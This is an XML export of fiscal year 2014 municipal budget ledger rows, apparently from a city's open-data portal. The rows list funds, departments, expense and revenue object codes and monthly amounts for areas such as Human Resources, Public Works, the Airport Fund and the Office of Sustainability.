<row _id="10876"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1625313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>98673.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1526640.0</total></row>
<row _id="10877"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="10878"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>79.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79.0</total></row>
<row _id="10879"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>708.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>708.0</total></row>
<row _id="10880"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7767.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>90</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7857.0</total></row>
<row _id="10881"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>71400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71400.0</total></row>
<row _id="10882"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4234.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4234.0</total></row>
<row _id="10883"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4130.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4130.0</total></row>
<row _id="10884"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9186.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9186.0</total></row>
<row _id="10885"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20464.0</july><august>0</august><september>0</september><october>0</october><november>-1539.0</november><december>269</december><january>66.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19260.0</total></row>
<row _id="10886"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6758.0</july><august>0</august><september>0</september><october>0</october><november>-531.0</november><december>93</december><january>22.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6342.0</total></row>
<row _id="10887"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15301.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15301.0</total></row>
<row _id="10888"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3600.0</total></row>
<row _id="10889"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>309583.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>309583.0</total></row>
<row _id="10890"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="10891"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="10892"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11650.0</total></row>
<row _id="10893"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>4.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4.0</total></row>
<row _id="10894"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5468.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5468.0</total></row>
<row _id="10895"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>107108.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107108.0</total></row>
<row _id="10896"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10430.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10430.0</total></row>
<row _id="10897"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>54336.88</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54336.88</total></row>
<row _id="10898"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62617.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62617.0</total></row>
<row _id="10899"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="10900"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14140.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14140.0</total></row>
<row _id="10901"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555950.0</object><object_description>COMM SERV FACIL / MGMT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14825.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14825.0</total></row>
<row _id="10902"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>39538.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39538.0</total></row>
<row _id="10903"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>901.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>901.0</total></row>
<row _id="10904"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>420.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="10905"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>856.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>856.0</total></row>
<row _id="10906"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>566120.0</object><object_description>EMPLOYEE SERVICE AWARDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39500.0</total></row>
<row _id="10907"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>405490.0</object><object_description>PARCEL TAX ASSESSMENT</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-3011040.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3011040.0</total></row>
<row _id="10908"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="10909"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-65000.0</july><august>0</august><september>0</september><october>5000</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
<row _id="10910"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16451.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>218</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16669.0</total></row>
<row _id="10911"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>-5000</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="10912"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402120.0</object><object_description>AIRPORT - OFFICE / SHOP RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1826174.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1826174.0</total></row>
<row _id="10913"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>98928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98928.0</total></row>
<row _id="10914"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5898.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5898.0</total></row>
<row _id="10915"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2166.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2166.0</total></row>
<row _id="10916"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>111523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>111523.0</total></row>
<row _id="10917"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>627.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>627.0</total></row>
<row _id="10918"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50952.0</total></row>
<row _id="10919"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6587.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6587.0</total></row>
<row _id="10920"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577220.0</object><object_description>INTRST EXP-BONDS &amp; OTHR LOANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>530170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>530170.0</total></row>
<row _id="10921"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62730.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62730.0</total></row>
<row _id="10922"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2075.0</july><august>0</august><september>0</september><october>0</october><november>-162.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1913.0</total></row>
<row _id="10923"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1068.0</july><august>0</august><september>0</september><october>0</october><november>-84.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>984.0</total></row>
